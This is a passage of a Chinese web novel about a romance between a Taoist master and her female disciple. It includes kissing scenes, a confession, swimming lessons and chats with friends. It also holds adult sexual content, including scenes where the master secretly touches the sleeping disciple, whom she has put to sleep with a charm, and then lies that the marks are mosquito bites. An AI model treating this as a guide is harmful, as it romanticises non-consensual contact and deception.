地上的女鬼收回视线,咽了咽口水:“……” 这里还有一个呢。 穆若水冷道:“闭上你的眼睛。” 女鬼转身加闭眼堵耳朵一条龙。 傅清微以为她在命令自己,正因为她强势的语气而兴奋,迫不及待地闭上了眼睛。 穆若水:“……” 这样也好,正好她没有亲够。 穆若水挑起傅清微的下巴,一手捧着她的脸,边吻她边将她慢慢带到了墙边,让她背靠在墙壁有个支撑,傅清微搂着女人青袍下纤细的腰和她拥吻,每一寸热情都点燃在她的心上。 师尊只练了几次,吻技就比她熟练许多。 她每一个勾弄的动作,傅清微觉得她亲的不是自己的舌头,而是她身体里涨落的潮汐。 她的唇被迫张得很开,因为穆若水已经完全探了进来。 她的湿度,她的滑腻,和交缠在一起共舞的美妙,故意制造出的暧昧水声,激得人害羞又狂热。 傅清微的喉咙不停地吞咽,咽下去的甘甜分不清彼此。 “嗯……”她的手从腰上离开,搭在女人的肩膀上,说不上是要推开,还是想抱得更紧,鼻息越来越急促。 身体每一个细胞,血管里的血液都在叫嚣:好喜欢她。 她亲到最后会出现一种承受不住的细微哭腔。 仅仅是接吻就会哭。 穆若水知道人类有一个字叫作“爱”。她不会有爱,但她爱她这个样子。 喜欢她在自己怀里哭。 因为她舒服得流泪。 穆若水指腹温柔擦去她眼角的湿润。 “现在感受到了吗?我的存在。” “还差一点。”傅清微得寸进尺地要求,呼吸还是凌乱的,喘着气,就已经贪心地想要下一次。 “好。” 穆若水等她平复好,低头和她温柔地接了个吻。 她不再询问,因为已经够了。 再亲下去对傅清微的身体不好。 傅清微接连享用了三次盛宴,才看见地上捆着的背对她们的女鬼,后知后觉地红了脸。 “……” 傅清微开始念超度经文把她彻底送走。 女鬼:“……” 把阴差和女鬼一起送走后,傅清微开始给自己谋福利。 “我今天破了幻象奖励一次,抓住女鬼奖励一次,成功超度女鬼奖励一次,完成任务奖励一次。”傅清微掰下四根手指,说,“一共四次。” 如意算盘打得真响啊,山上守家的小狸花都能听见。 穆若水似笑非笑地睨着她。 “三次,不能再少了。” 穆若水施施然在椅子里坐下。 “两次。” 穆若水抬起自己修长的手,自顾自地在灯下照看。 “一次,行了吧?” “行。”穆若水开了尊口,“你完成一次任务,我奖励你一次。” “一次能不能一整晚?”傅清微和她讨价还价。 穆若水嘴上答:“不行。” 但实际还是奖励了她,在梦里,傅清微不知道罢了,每次执行完任务的当晚,她都睡得特别熟,梦境也特别活色生香。 比起当面亮相、真刀真枪的妖怪,会使用幻境的鬼怪或者精怪更加危险,和魔气的蛊惑异曲同工。 傅清微在女鬼的幻境里走了另一条路,没有穆若水的人生她也能够过下去,只是心脏从此空缺一大块,永远填不满。 她自去年十月以来和穆若水朝夕共处,同在一个屋檐下,暧昧与日俱长,师徒的界限也愈发模糊。她有时候分不清自己的喜欢,究竟是心动还是因为初次与人暧昧过界,自然而然产生的依赖。 在这一晚她无比清晰地认清了自己的心意,是一个女人对另一个女人的爱慕。 她享受暧昧,是因为暧昧的对象是她,换成任何一个人都不行。 一切事情发生的前提,都是她是那个人。 快天亮时,她们睡在了隔壁房间。 傅清微躺在她身边,心跳在一次又一次肯定她的答案。 穆若水闭目酝酿睡意,枕边的呼吸始终不静,傅清微还没有睡,她甚至能察觉到她的脸小心翼翼地侧了过来,目光落在她的脸庞。 她正在被她注视。 穆若水平时没少被她一眨不眨地看过,此刻竟然开不了口催她睡觉,甚至连肢体都动不了。 大概是因为她的目光里饱含情意。 女人的身体僵着,沉睡的血液在静静地加快流速,搭在身侧的冰凉指节被一只手碰到,慢慢地牵紧,抚着她的手背。 和此刻响起在她耳边的声音一样,温柔而认真。 “我喜欢你。” 第93章 随着这句话的出口, 傅清微的心跟着豁然开朗。 那些她认不清的,拨开迷雾,露出金子般的光芒。 一颗年轻灿烂的心, 在金色中缓缓沉稳地跳动, 这是属于年少时的初次心动, 一瞬就是一生。 往后不管时间过去多久,傅清微始终记得她今生第一次表白时, 她们肩并肩躺在一起, 清晨枕边的呼吸,潮热交握的掌心。 与其说她想向穆若水要一个在一起的答案, 不如说是为了自己。 年轻人藏不住心思, 让她日日看着心上人却不说出口,无异于钝刀子割肉的酷刑。 她宁愿早早地告知她,如果师尊生气, 她也有挽救的方法, 她就说是徒弟对师尊的喜欢之情,没人规定喜欢只能情侣专属。 如果穆若水在微乎其微的概率里答应了,她现在就去买挂鞭炮, 昭告天下。 即使明知没有希望,傅清微抚着她手背的手也不动了,紧张得掌心出汗,等着女人给她宣判。 穆若水静静地呼吸着。 一分钟过去了。 从她没有变得更轻盈的气息声里, 傅清微判断出来她没打算装睡,会给自己答案。 穆若水在被子里的手反握住她, 清冷沉着的声音一字字地说:“为师也喜欢你这个徒儿。” 她怕傅清微误会, 连她的名字都没有直说,而用了更确切的代指:徒儿。 仅此而已。 如果傅清微不是她的徒弟, 那她就什么也不是。 所以师徒以外的,她给不了。 即使她的行动早就踏过了那条线,她心里的那道城池始终固若金汤。 她不可能和一个人类在一起,更不可能爱上任何人。 长久的沉默过后,傅清微靠过来,额头抵着她的肩膀,小声回应:“我也很喜欢师尊。” 穆若水假装没有听出她尾音里声线不稳的颤音。 “睡吧。”女人拍了拍傅清微的胳膊,温柔地说。 “嗯。” 傅清微柔软地蹭了蹭她的肩头,回到自己的枕头上,睡着了依旧牵着她的手。 穆若水没有挣脱,自己也未察觉她时不时会轻抚对方的动作。 她们的亲密,早已不仅来源于身体的欲望,而且是更深层次的心理需求。傅清微的她自己已经认清,穆若水又要花多久才能意识到呢?答案都在时间里。 傅清微昨晚捉鬼时把中指咬破了,她自己止住了血,睡醒后还是有点疼。 她惯例找穆若水撒娇,打算讨点便宜。 按照师尊的习惯应该会趁机含住她的手指,之后再给她念咒治伤。 但是穆若水细细端详过她的指腹,没有动手动脚,直截了当地用祝由术恢复了原样。 傅清微:“……” 坏了,师尊好像在和她避嫌。 好险她在昨晚和她约定好了奖励机制,穆若水虽然偶尔脾气坏点,但一诺千金,说出的话绝不会反悔,否则岂不是赔了夫人又折兵。 一个月内,傅清微完成了四次任务,两人接了四次以上的吻,傅清微也做了四次难以言说的梦,醒后回味良久。 这种频率对一个情窦初开的女大来说如同饮鸩止渴,从满汉全席变成了清粥小菜。 而且穆若水变得一点都不主动了,以前和她亲得有来有回,水声缠绵,现在偶尔动两下还得傅清微求她动。 心思活跃的女大不由想到很久的以后,如果真能把师尊拐上她的床,是不是也要自己握着她的手指,央求她或者自己动,才能得到满足。 ……说得跟能拐上床似的。 她们停留在喂奶这个阶段已经快半年了,进度条一动不动。 昨晚她们刚从外地结束任务回来蓬莱观,阔别一月,小狸花和小三花在院子里互相追逐,傅清微将穆若水运上来的行李箱推回房间,来到院子里,看着自己和穆若水的爱巢简直处处都好。 两只小猫从屋外打闹到屋里,傅清微从衣柜里拿了穆若水的睡衣,给她送到温泉池边。 不得不说,接完吻以后,傅清微的承受阈值上来了,能够直面穆若水在水中窈窕的身影,虽然还是不能看太久,容易想太多不切实际。 穆若水一见到她,在水面掬水的胳膊不自然地放下来,雪白的双肩慢慢地沉到温泉底下。 “放下就走吧。” “是,师尊。” 傅清微转身往回走,心想:自己还是不够厚脸皮,要是一直盯着她,说不定能盯到师尊脸红。 当然,也有百分之九十九的概率恼羞成怒。 自己要倒大霉。 如果她也下水呢? 傅清微害羞,鸳鸯浴什么的,尺度也太大了。 经历了种种前事,傅清微已经深刻认识到了幻想和现实的差距,只怕她刚一下水,两人待在同一个池子里,她就要流鼻血。 饭要一口一口吃,尺度也要一点一点地放,不能一步到位。 傅清微的身影消失在林子里,视野里只剩下繁星和山林。 穆若水这才从水底缓慢地浮起来,吐出一口气。 她披着睡衣和星月回道观,傅清微已经把行李收拾好了,顺手把屋子打扫了一遍,自从她住到山里以后,勤俭持家,道观越来越有人味儿了。 穆若水在门口倚着看了一会儿,回到对面自己的房间。 简朴的一间,面积比傅清微的房间小了三分之一不说,因为主人不勤加打扫,地面和桌子一层灰。 屋里还没有电灯,虽然对穆若水来说关灯不影响,但谁不喜欢敞亮干净的地方,这屋子她多看一眼都嫌弃,睡在里面也不舒服。 穆若水默默地又进了对面。 傅清微刚把抹布洗干净,从卫生间出来说:“今天太晚了,师尊的房间我明天再去打扫,今晚委屈师尊住在我这里?” 穆若水颔首:“可。” 徒弟一片孝心……一片心意。 “我去洗澡啦?”傅清微和她报备。 “去。” 穆若水话少地回道。 表白后遗症到现在还没好。 傅清微洗完澡要打坐,离睡觉还有好长一段时间,穆若水搬了把竹椅坐在院子里赏月。 时间已经来到春夏之交,正是一年里最舒适的时节,穆若水不惧冷暖,但夜晚的山风拂面,吹进袖子里,每一个毛孔都在感受温暖湿润的春天,人会在这种环境里放下所有的想法,只融入自然。 她闭着眼睛,放松地靠在竹椅椅背里,微微仰起脸颊。 月光被一道身影挡住。 穆若水闻到熟悉的气息,没有做出任何抵御的动作,甚至连眼皮都没动。 直到她的唇被轻轻抿住。 一只手往上蒙在她的眼前。 她什么都看不到,只感受得到唇上的暖热,在一点一点侵占她所有的感官。 自从认识到喜欢以后,傅清微也不再只追求身体的享受,而是想在亲密中清晰地感受到彼此的心跳。 她浅浅地亲着女人的唇,唇瓣压着唇瓣,不一样的柔软触感。 她将女人的唇用舌尖描过十几遍,闭眼反复含着她湿软的红唇,如痴如醉,最后都没有深入。 遮在眼前的手拿下来,后院的月光映在穆若水闭着的薄薄眼皮之上。 睁眼的瞬间似乎有同样的浅浅水光从她黑亮的瞳仁一漾而过。 傅清微接触到她看过来的第一眼,神色一怔。 师尊好像有点欲求不满。 穆若水收回含嗔带怒的眼神,清了清嗓子,声音仍比平时的低,说:“你挡住我看月光了。” 傅清微从她身前让开。 她以为师尊会问:为什么突然亲我? 她就会回答是这次任务的奖励。 但她没问,是不是代表下次还可以再讨一次奖励? “我打坐完了,我陪师尊赏月。” 傅清微去厨房搬了另一张靠背竹椅过来,坐在她身边。 穆若水漫声应了句,任由她将自己的手牵过去,十指相扣放在她的大腿上。 穆若水有一坐一整晚的定力,她望月也是修炼,傅清微再喜欢和她花前月下,坐了一个小时,一句话不说也有些无聊了,她拿出手机开始上网,搜索藤椅。 阁皂山脚那家民宿院子里有个藤椅,穆若水当时挺喜欢的,比喜欢狐妖老板多多了。 傅清微看她坐在窄窄的竹椅里,长腿要么只能僵硬地伸直,要么并腿曲起来,怪委屈的,想买把新的给她。 傅清微看好了藤椅,把女人的手翻了个面重新扣住手背贴在腿上,问道:“师尊,我要是买把椅子,你愿意亲自搬上来吗?” 穆若水:“……” 傅清微将手机商品页面递给她看。 穆若水心动但是懒:“分享给占英。” 傅清微:“……好的。”对不起占科,又给你增加工作量了。 穆若水过了不到三秒,便改口:“算了,我亲自去取。” 她亲自取是拿傅清微送给她的礼物,占英买是无关人等的孝敬。她宁愿辛苦下山一趟。 傅清微当场下单:“我给店家加运费送到山下,两三天就到了。” 入职第一个月的薪水已经发了,因为干得多绩效也多,不动用存款也够她们俩每个月的花销,还有剩余。 傅清微下个月毕业答辩,因为要准备毕业论文,向局里请了一周的假,这个星期她们可以都待在山上,难得过一段清净的日子。 傅清微一心几用都习惯了,觉得写论文和练功填不满她的空闲,想将搁置的游泳一并提上日程。 傅清微提议:“要不我把游泳一起学了?” 穆若水没意见:“山脚下有座湖,可以去那里学。” “谁教?” “你还想谁教?” “你别生气。”傅清微说,“我的意思是师尊不是不会游泳吗?” “哼,教你绰绰有余。” 第二天傅清微就被她猝不及防地拎起来扔进了水里。 湿透了的傅清微坐在岸边,呛声咳嗽,满脸往下淌水:“师尊对我好凶,我只是想要奖励机制。” 穆若水垂眸看向自己的袖子,淡道:“我奖励你的还不够多吗?” 傅清微理直气壮:“那都是我应得的。” 穆若水:“……” 她反手又要来揪她,说:“快下水!” 傅清微一方面想要奖励一方面真的害怕水,穆若水拎着她的后脖颈,她八爪鱼似的紧紧黏在女人身上,跟袋鼠抱树似的,穆若水扔了好几次都没能把她扔出去。 一时间竟然砸手里了。 穆若水又气又笑:“你怎么变成这样了傅清微?” 傅清微哇哇大叫:“没有人教游泳是这样教的!” 别的本事可以,这件事就算了。 穆若水干脆带着她一起跳入了湖里。 铺天盖地的水淹了过来,傅清微的手脚本能地乱抓挣扎,穆若水按住她乱动的手,上前用唇堵住了她不断吐出气泡的嘴巴。 傅清微的世界安静了,手脚也能镇定住了。 渡过来的氧气让她在水底静止了一分钟。 穆若水扶着她浮上水面,说:“你自己试一试。” “试什么?”傅清微呆呆地问,怎么在水里亲到她吗? 穆若水抓着她一边胳膊,让她感受水的浮力,解释说:“不管你找什么老师,学会游泳的前提就是不要害怕水。你是修士,足以在水底闭气几分钟,只要你能冷静下来,学习游泳事半功倍。” “可我还是害怕。”傅清微是个货真价实的旱鸭子,从小都自觉远离池塘的那种,一落水就有种溺亡的恐惧感,没办法抵抗。她比怕鬼还怕水。 傅清微从水里抱住她的腰,不敢失去唯一的浮木:“师尊,我不敢。” 穆若水也是第一次见她这么恐惧的样子,不禁涌起怜爱之情。 她摸了摸傅清微漂亮的眉毛,道:“我陪你一起下水,这样可以吗?” 傅清微点了点头。 穆若水:“准备好了我们就一起下去,记得憋气。” 穆若水:“三、二、一。” 傅清微深吸一口气,水面留下两个不断交合的圆圈,涟漪一层层地荡开。 傅清微被穆若水带着沉入了湖底。 她紧紧地闭上双眼,身体使不上力自然地往后仰,一副随波逐流的样子。 穆若水摇了摇头,从后面抱住她的腰,托着她站好,又用手戳了一下她的腰,示意她睁开眼睛。 水入眼并不好受,但作为修士必须要习惯,轻微的刺痛过后,傅清微看见了从身后转到她身边的女人,她的腰仍被对方扣在怀里,安全感十足。 傅清微手脚恢复了些力气,试着自己控制身形。 穆若水会意地松开她的腰,傅清微立刻从站姿变躺,软得像一滩在水里流动的水。 手脚毫无章法地乱蹬,嘴边不停地吐出气泡。 咕噜咕噜—— 穆若水难以置信:“……”怎会如此? 穆若水给她渡了半口氧气,拉着她往湖心去。 傅清微放松身体,由她带着往前游,脚下的水草幽绿招摇,像情人柔软的手臂。 面前不断游过好奇的鱼儿,傅清微和五颜六色的小鱼大眼瞪小眼,伸出指尖去触碰鱼嘴,浅浅地被鱼亲吻了一下。 有一条红尾鱼摇摆着身子从她眼前掠过,鱼鳍是耀眼的金色。 傅清微睁大了眼睛,回头看它。 穆若水任劳任怨,她当海底观光来了。 穆若水终于带她抵达湖心,封住她的唇将剩余的半口氧气也渡了过去。 湖心比岸边深了许多,景色自然也好极了,湖水清澈,汇集了少见的珊瑚群和海葵,以及极少数海洋里才有的生物。 傅清微连池塘都不下,更别提潜水了,没见过世面的人很快被吸引了注意力,忘记了怕水这回事。 直到她氧气耗尽,被穆若水抱了上去,在水面呼吸。 傅清微眨眨眼,意犹未尽地说:“师尊,我还想看。” 穆若水寻到她被鱼亲吻过的右手指尖,放进自己嘴里含了含,用自己的气息覆盖,说:“有个小伤口。” 傅清微端详自己的指腹:“哪里?” 穆若水面不改色:“已经好了。你不是要下去吗?” 傅清微忘掉突然的小插曲,说对。 傅清微:“我不想上来得太频繁,师尊可以继续给我渡气吗?” 穆若水不置可否。 下水以后,一口气分了三次渡给她。 中途傅清微发现师尊不像她一样吐泡泡,指了指水里的气泡,又指了指穆若水。 穆若水当场吐了一个泡泡给她看。 傅清微没想到会这么可爱,在水里小鹿乱撞。 战胜对水的恐惧以后,学会只是时间问题。 中午时分,穆若水带着已经能在水里浅浅扑腾两下的傅清微上了岸,烘干衣物后先行一步赶上山做饭,等傅清微的脚程回到道观,院子里已经能闻到饭菜香了。 三花和小狸已经吃上了清水煮过的鸡胸肉。 傅清微进了厨房,在灶下添柴,问她火候行不行,穆若水把她赶了出去。 火烧得太旺,差点毁了她一锅虾! 这是亲爱的师尊现在唯一会对她说滚的时刻。 傅清微只好蹲在院子里百无聊赖地捧着脸等饭。 “吃饭了。” 院子里露天空气好,穆若水把菜端在自己的棺材盖上,傅清微的沉默震耳欲聋,几秒后进屋把桌子搬了出来。 穆若水:“待会你搬进去。” 傅清微:“我搬,我收拾,我洗碗。” 穆若水这才将剩下的菜端到饭桌,两把椅子面对而坐。 穆若水依然少吃,她自己做的菜有什么好吃的,都吃了几十年了。只是看傅清微吃得香,仿佛山珍海味,每次都忍不住动筷子跟着品尝,吃完又回到了最初的想法,有什么好吃的。 但不妨碍她每次看傅清微吃饭都感到幸福。 她并不知道这种感觉叫作幸福,只是很安心很安心,似乎这就是她的梦寐以求。 傅清微给她夹了筷清炒笋丝,现在山里的笋正是鲜嫩的时候,穆若水早上去挖的,绝不隔夜。 傅清微没有放到她碗里,而是用手托着送到她唇边。 穆若水张唇含进口中,贝齿轻咬,清脆多汁。 ……好像是挺好吃的。 穆若水眼神动了动,再一次落在那盘笋丝上。 傅清微察觉她的意图,把盘子端到自己面前,又给她夹了一筷喂她。 穆若水细嚼慢咽地吃下,说:“可以了,你自己吃吧,菜都要凉了。” 过犹不及。 夏天快到了,莲藕也快到了采摘的季节,可以清炒凉拌,做莲藕排骨汤,桂花糖藕。 莲子去心,可以生吃也可以煮粥做汤,糯米荷香蒸甲鱼不错。 穆若水现在每日只想这些事,什么都不挂怀。 傅清微想的就多了,要学游泳,要做毕业设计,要练功,还要想方设法讨她的奖励。 傅清微吃完饭把穆若水的房间打扫了,晾在树间的被子抱到棺材盖上拍打,两只猫上去滚了一被子猫毛,撒丫子就跑。 傅清微在后面装模作样地骂了两声,对穆若水说:“师尊,我要睡午觉了,晚上再来弄这些猫毛。” 穆若水无可无不可。 傅清微把被子抱进房间,以防中午会下雨。山里的雨水总是多的,又总是选在惬意的午后。 傅清微不出所望地在细雨声中醒来,今天下午她要在房间写论文,雨也很合她心意地下到了四五点。 被子上的猫毛一直没人去理会。 直到夜间。 傅清微也不用再去找她房间没有灯不好处理的借口,穆若水默契地留宿在了她房内。 在山下都同居一个月了,骤然分开,谁都不习惯。 “我关灯啦。”傅清微在门边说道,按灭了灯后轻手轻脚地沿床沿爬了上去,翻越穆若水躺到了床的里侧。 “师尊晚安。” “晚安。” 傅清微心里藏着事睡不着觉,她贴过来,暧昧地抚女人的手背,唯唯诺诺半天,才道:“师尊,我想要奖励。” 穆若水闭着眼,声音平淡:“怎么大半夜就要?” 就是因为大半夜傅清微才想,谁不是越入夜越蠢蠢欲动。 昨天晚上只在院子里浅浅地亲了一下,再上一次已经是一周之前了。 傅清微那边传来轻轻翻身的响动,她侧身面对她。 穆若水能察觉到她落在自己脸上火热的目光,今晚要是不满足她,她能把自己盯穿了。 穆若水也转过来,侧脸看着她。 四目相对。 其实不需要再分谁主动,两个人几乎同时吻上了对方。 也许是因为这张床,也许是因为夜深了,彼此的呼吸相闻,扑在脸上。 穆若水难得温柔地回应了她。 傅清微抱着她的腰,她捧着傅清微的脸,勾着她的下巴,极尽缠绵地接吻。 傅清微不断地发出她喜欢的好听的声音。 穆若水凑近了她,将她搂得更紧了,贴住她后腰的手缓慢地下延到起伏的曲线。 傅清微突然啊了一声,脸色通红。 师尊捏了她一下。 她的舌头再次被裹住,穆若水的五指也控制不住地又收紧了两下。 傅清微一边轻哼一边忍不住想—— 师尊为什么会这么熟练啊? 啊。 傅清微叫着。 直到穆若水也即将忍不住发出令人面红耳赤的轻喘,她停了下来,在捏过的地方拍了拍,说:“睡觉吧。” 傅清微被她拍得脸又是一红,羞赧地钻回了自己的被子里,只露出一双眼睛:“晚安。” 这回是真的晚安了。 穆若水:“晚安。” 她的夜还没有结束。 傅清微的奖励一向是现实一份,梦里一份。 第二天早上起来,她洗漱的时候照镜子,发现脖子上有一些红点,像是蚊子咬的,但是摸上去十分光滑平坦,不像蚊子包。 夏天还没到,道观里就有蚊子了吗? 她出了门,刚好撞见比她先起床的穆若水。 “师尊。”傅清微叫住她,说,“你看我的脖子。” 她仰起雪颈,给她看那些一夜过去出现的红点。 “是不是被蚊子咬了啊?” 穆若水凑近了端详,温热的吐息呼在她颈项,认真道:“嗯,是被蚊子咬了。” 第94章 穆若水端详片刻后, 直起身来,叮嘱道:“道观蚊子多,下次回来买点驱蚊液吧。” 傅清微抬手摸了摸自己毫无知觉的蚊子包, 不疑有他地应了一声好。 她关心道:“师尊昨晚有被蚊子咬吗?” 穆·大蚊子·若水面不改色:“没有。你细皮嫩肉的, 多注意一下。” 一亲一个红印, 不是细皮嫩肉是什么? 傅清微走回房间,又回头:“我记得咱们不是有驱虫符?” “驱虫和驱蚊的符不一样, 回头我再画几张驱蚊的。”穆若水为了让她的话更有可信度, 说,“而且昨晚忘贴了, 我记性不好, 你知道。” “今晚我会提醒师尊。” “嗯。” 穆若水注视着她的背影进了房门,才坐在院子里玩猫。 小三花圆脑袋顶着她的手掌心,穆若水有一搭没一搭地摸她的脑袋, 心不在焉地回想起昨夜。 她奖励完傅清微以后, 照例用祝由术帮她消除痕迹。 先消除身上显眼的,尤其是胸口和腰腹,紫红的印子, 脖颈的皮肤薄,血管密布,穆若水亲的时候便动作放得很轻,留下的痕迹也很浅。 眼瞧着她给傅清微的痕迹一点一点被清除, 她在她身上纵情的气息被驱散,穆若水忽然想起湖水里的那尾亲吻过她的鱼。 鱼都可以, 她为什么不行? 她就是想在傅清微身体打上她的印记。 所以她故意把脖子上不明显的红印留了下来。 早上她先傅清微一步醒过来, 看见她的脖子红痕点点,占有欲得到了极大的满足。 体验很好, 下次还来。 道观里的蚊子不会走了。 傅清微换好衣服,又去镜子前照了照,总觉得不像蚊子咬的,但她又想不到会是什么虫子造成的,不痛不痒,只是红了些,在白皙的皮肤分外醒目。 分布得也不均匀,中间两个,侧颈密集一些,她撩起长发转身看镜子,后颈靠近肩部的地方也有。 角度这么刁钻吗? 傅清微百思不得其解,只好提醒自己今晚记得贴驱蚊符。 她来到院子里,小三花受不了女人敷衍的撸猫法,早就一溜烟跑了,穆若水坐在竹椅里晒朝阳。 傅清微走过来,把刚刚忘记说的一句话补上:“师尊也很细皮嫩肉。” 穆若水意味深长地看她一眼。 可惜师尊没有大蚊子。 穆若水站起来,说:“我去做饭了。” 傅清微一身练功服,手里拿着长剑:“我去练剑,半小时回来。” “可。” 密林结界里,傅清微练完一套剑法,收剑前忽然试着凝注真气到剑身,旋身一道剑气挥过去,不远处的树干划下一道深深的剑痕。 她紧接着补上一道,成了十字剑痕。 接连三道剑气击中树干,树木发出令人发酸的声响,紧接着轰然倒地。 傅清微跑回了道观,穆若水见她额头见汗,脸色也比平时红润一些,抬手用袖子给她擦了擦额头的细汗,说:“不用这么着急回来,粥在锅里保温。” “我是练功热的。”傅清微迫不及待地跟她分享她今天的进步。 “已经可以用出剑气了?”穆若水不出意外地夸了她,“很不错。” 穆若水看到她张了嘴,果不其然傅清微下一句就是: “可以换来师尊的奖励吗?” 比起抓一次女鬼想换四次奖励的贪心来说,这次在剑术上的突破显然更值得嘉奖。 “可以。” 穆若水先回答了她,然后才问道:“你以前不是为了斩妖除魔而练剑吗?怎么现在满脑子只有奖励?” 傅清微仰脸:“因为我喜欢师尊嘛。” 穆若水接不上话。 师尊也喜欢徒儿这种借口一次两次骗骗她还行,骗不了自己。 傅清微脖子上的红印还在呢,白皙皮肤出了汗更加性感了。 穆若水想起她夜晚在自己怀里出汗的样子,到处都是湿热的雨,肌肤滚烫,她的手指和舌头都去到过。 穆若水轻轻抽出她抱着的胳膊,率先转身背影进了厨房,说:“过来端早餐。” 傅清微说好。 她走在后面心想:她转移话题,她心虚了。 她心里是不是也有她? 傅清微的论文架构去年就打好了,设计先前也做了一部分,现在基本是整合填充血肉,所以她才只请了一周的假。当然再多灵管局也不批。 假期的第六天上午,她把初稿写好发给了指导老师,当晚老师就回复了修改意见,因为设计程序方面比较细节,老师说有空回校当面聊聊更好。 傅清微:【好的老师】 老师:【道观里平时忙吗?】 傅清微:【囧】 老师:【哈哈老师也是随便问问,大家都说你出家当道士了,真的假的?】 隔着屏幕傅清微都能想象到三十多岁女教师八卦的脸,说不定整个办公室都在等她的答复。 傅清微:【真嘟】 老师:【好嘟,要加油鸭】 傅清微:【我明天回趟学校,老师你几点在办公室?】 老师也恢复一本正经:【上午九点到十一点,下午四点到六点,你随时过来】 傅清微:【好】 老师:【可以穿道袍,老师不介意的^_^】 傅清微:“……” 老师你就是想当场八卦吧! 傅清微打算明天去了找个借口,就说师傅不同意她穿道袍,四处招摇。 傅清微转头向甘棠发送吐槽:【现在是全校都知道这届出了个道士吗?我请问呢?】 傅清微:【我好像成了动物园供人参观的那种猴子_(:з」∠)_】 甘棠的消息框毫无反应,安静得像一潭死水。 其实最近不是第一次出现这种情况,出任务的时候傅清微没注意消息频率和回复及不及时,现在她正在放假,每次找甘棠她秒回的频率变低,晚上更是隔了许久才出现。 甘棠好不容易过了司法考试,但是她还没有想好具体做什么,一边写毕业论文一边继续广撒网地报考事业编国企,毕业在即,忙点也很正常? 晚上十二点,甘棠终于回复她了。 甘棠:【哈哈哈哈哈】 傅清微:“……” 这就很不正常了。 谁不知道当代年轻人的糊弄话术啊,甘棠这是在糊弄她呢。 她们俩的友情就算要破碎,也不至于这么快吧。 傅清微:【hello?你看到我上面在说什么吗?】 甘棠:【稍等一下,我看看】 甘棠:【哈哈哈哈哈】 甘棠:【是真的,你当道士这件事在全校都传开了,都说你另辟蹊径就业第一人】 傅清微:“……”真就现在才看消息内容。 傅清微直接给甘棠拨了个电话,甘棠从来没挂过她电话,本能按下接听。 然后傅清微就听到那边床摇晃的声音,女人的声音,和甘棠自己的声音,和平时很不一样的那种。 甘棠把电话挂了。 傅清微:【Im sorry】 傅清微坐在床头,脖子上顶着个大红脸。 她握着自己的手机发呆,回想起电话那头女人此起彼伏的呻吟声,确认自己应该没有弄错。 ……还挺激烈的。 什么时候? 也没听到她说脱单,突然就有爱做了? 进度跟坐火箭一样。 傅清微回过神,想了想,用力打字:【我觉得你必须得给我个解释,明天见一面,时间你定】 短时间甘棠应该不会回了,傅清微把手机搁书桌上,打算睡一觉起来明天再看。 穆若水算算时间,从院子里迈步进来,自然得就像回自己的房间。 她一进门就被傅清微抱住了腰,推着她慢慢地抵到了门边,把穆若水禁锢在方寸之间。 穆若水见她颓丧,扬眉:“怎么?” 傅清微说:“甘棠好像谈恋爱了。” “她是成年人,不是很正常?” “可是……”傅清微支支吾吾。她和人搞得好激烈,而自己领先优势那么多,居然还没有。 “她谈恋爱,你吃醋了?” “不是!”虽然甘棠不回她消息是因为在谈恋爱确实让她有点不高兴,算得上友情的吃醋,但在穆若水面前必须矢口否认一切带醋的字眼。 “那你伤心什么?” “我没有伤心。”就是好羡慕呜呜呜。 师尊是个木头脑袋。 傅清微关了灯,拉着她到床上一起躺下睡觉,深夜更适合聊露骨的话题。 “我刚刚打电话给甘棠,不小心听到了她和女朋友的好事。” “什么好事?”太隐晦穆若水真的听不懂。 “就是,她们俩……在做……爱。”傅清微一个字比一个字轻。 “她女朋友在上她?” “师尊你的话太糙了。” “咳,不好意思。” “为什么不是她在上她女朋友啊?”傅清微一边羞耻一边沉迷和心上人讨论涩涩,好像被她上的是自己。 “只有躺着的才有手接电话。” 傅清微忽然察觉到了一丝微妙。 “师尊你为什么会懂?” “……推理一下就推出来了。” “原来是这样。” 傅清微也不敢问她是不是有经验,真有的话自己又不高兴。 她换了个问法:“师尊,你知道女人之间要怎么做吗?” 穆若水难得地感觉到了紧张。 “怎么问这个?” “好奇。” “猜得到一些,具体的不清楚。”因为还没做到那一步。 “我不会,你能不能教教我,我是说……理论知识,给我讲讲?” “诓骗为师,罪加一等。” “……” 穆若水才不上她的当,她可记得她刚下山的时候,舔舔眼泪撕个衣服,傅清微就要以身相许了,还说了一些不堪入耳的字眼。她不会?她会得很! 还……很会叫,叫得她骨酥筋软。 傅清微马失前蹄,不仅没套到话,还让涩涩的话题跑掉了。 她后悔可惜,只好闭上眼睛酝酿睡意,半梦半醒之间,她窝在穆若水的怀里,好像喃喃自语地说了句话:“师尊……我也想有爱可以做。” 刚要睡着的穆若水:“……” 年轻人真的这么难满足吗? 还是说自己方法错了,做得还不够? 可是她每每在自己怀里颤抖,确确实实爽了,也到了。 一定要进入到后面的步骤吗? 穆若水始终不继续往下做,一方面惭愧自己趁人之危,只要不解她的腰带,就可以说服自己,只是一半的可耻,另一半还有底线。 一方面不想纵欲过深,裤子只要脱了第一次,以后就不会再有穿上的机会了,她知道自己对她的渴望,一定会做到将她榨干为止,几张安睡符都不管用。 穆若水每次都很尽兴,梦里的傅清微也是,上次把她的外袍都弄湿了。但现实并非如此,梦境怎能和真实比拟? 如果让傅清微选的话,早上起来换内裤和晚上亲到春潮靡靡,抱着什么都不做,她都会选后者。 穆若水不是看不出来她觊觎自己的目光,剪完指甲给她用湿巾擦过手,总要用舌头再细致地按摩一遍,自己用嘴插她的手指。 ……不是什么正经徒儿。 好在师尊是个更不正经的。 穆若水想不通今晚这个爱要怎么做才能让她满意,所以没有给她下安睡符,而是抱着她一觉睡到了天亮。 傅清微早起下山进城,穆若水家属陪同,因为当晚就回所以没带猫。 小三花亲人,有分离焦虑,收养人类以后嘴巴也叼了,爱吃罐罐和猫粮,基本告别流浪猫食谱,不像小狸花还能在山野纵横,几个月不管它也没事。 两人来到湖边,已经依靠网络教学视频学会游泳的傅清微重提道:“我的奖励。” “是,你的奖励。”穆若水附和道。 放假一周,傅清微在各方面均衡进步,攒了好几个奖励,只记在小本本上,暂时都没兑。 接吻已经不能算奖励了,她在氛围好的时候亲穆若水,穆若水都会默许。偶尔傅清微实在想接吻想得饥渴难耐,才会提出一个奖励来换。 傅清微打算攒起来,到时候兑一个超级大礼包。 本来她没想好是什么,但甘棠都这样那样了,那她也不能甘居人后。 好姐妹就是要有福一起享。 穆若水不知道她的打算,知道了恐怕也只能听之任之,毕竟她是最先不光明磊落的那个,现在傅清微还被蒙在鼓里。 好在这张鼓马上就要迎来揭开的时刻。 凌晨两点半,甘棠回复她:【姐们[尴尬]】 甘棠:【我现在好困,先睡了明早回复你】 